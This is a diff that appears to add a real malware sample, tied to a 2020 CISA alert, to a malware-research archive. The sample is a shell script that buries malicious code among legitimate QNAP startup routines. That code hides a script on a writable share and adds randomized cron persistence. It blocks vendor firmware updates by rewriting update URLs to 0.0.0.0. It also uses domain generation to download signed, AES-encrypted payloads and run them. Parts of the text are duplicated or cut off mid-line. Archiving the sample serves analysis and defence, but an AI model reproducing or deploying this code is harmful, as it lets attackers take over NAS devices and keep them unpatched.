/etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +fi +chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.liveupdate/liveupdate.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.liveupdate/liveupdate.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.liveupdate/liveupdate.sh >/dev/null 2>/dev/null" >> "$crontab" +sleep 5 +fi +done + +grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' >/dev/null && sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/0.0.0.0\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +sedexpr='QPKG CENTER XML\|Live Update XML\|FW_XML_ALT' +if grep "${sedexpr}" /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' >/dev/null; then +sed -i 's/^ *\('"${sedexpr}"'\)\(.*https\?:\/\/[^\/]*\)\(qnap\.com[^\/]*\)/\1\20.0.0.0/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +grep "${sedexpr}" /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' && sed -i 's/^ *\('"${sedexpr}"'\).*qnap\.com/\1 = /' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/README.md b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/README.md new file mode 100644 index 0000000..1c0f07e --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/README.md @@ -0,0 +1 @@ +https://us-cert.cisa.gov/ncas/alerts/aa20-209a diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a569332b52d484f40b910f2f0763b13c085c7d93dcdc7fea0aeb3a3e3366ba5d b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a569332b52d484f40b910f2f0763b13c085c7d93dcdc7fea0aeb3a3e3366ba5d new file mode 100644 index 0000000..3b667ad --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/a569332b52d484f40b910f2f0763b13c085c7d93dcdc7fea0aeb3a3e3366ba5d @@ -0,0 +1,510 @@ +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi diff --git 